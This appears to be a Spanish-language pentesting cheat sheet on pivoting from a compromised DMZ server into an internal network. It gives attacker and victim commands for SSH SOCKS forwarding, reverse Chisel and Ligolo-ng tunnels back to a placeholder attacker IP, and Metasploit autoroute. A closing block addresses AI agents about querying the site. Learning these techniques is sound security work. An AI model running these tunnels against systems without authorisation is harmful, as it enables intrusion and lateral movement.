# Pivoting & Tunneling

Cómo llegar a la red interna 192.168.x.x desde el servidor web comprometido (DMZ).

## 1. 🧦 SSH Dynamic Port Forwarding (SOCKS Proxy)

Si tenemos SSH en la máquina víctima.

1. **Atacante**: `ssh -D 1080 user@<Victim_IP>`
2. **Configurar /etc/proxychains.conf**: Añadir `socks5 127.0.0.1 1080`.
3. **Uso**: `proxychains nmap -sT -p 445 192.168.1.10`

## 2. 🔨 Chisel (HTTP/TCP Tunnel)

El mejor para firewalls estrictos. Un binario único cliente/servidor.

### Reverse SOCKS (Víctima -> Atacante)

1. **Atacante (Server)**:

   ```bash
   ./chisel server -p 8000 --reverse
   ```
2. **Víctima (Client)**:

   ```bash
   ./chisel client <Attacker_IP>:8000 R:socks
   ```
3. **Resultado**: Puerto 1080 en atacante es ahora un proxy SOCKS hacia la red interna de la víctima.

## 3. 🚀 Ligolo-ng (Moderno y Rápido)

Usa interfaces TUN/TAP, más rápido que SOCKS.

1. **Atacante**: `sudo ./ligolo-proxy -selfcert`
2. **Víctima**: `./ligolo-agent -connect <Attacker_IP>:11601 -ignore-cert`
3. **Routing**: `sudo ip route add 192.168.1.0/24 dev ligolo`

## 4. Metasploit Autoroute

Si tienes una sesión Meterpreter.

```bash
meterpreter > run post/multi/manage/autoroute
meterpreter > background
use auxiliary/server/socks_proxy
run
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jotatito05.gitbook.io/la-bitacora-de-jotatito05/10.-active-directory/pivoting.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.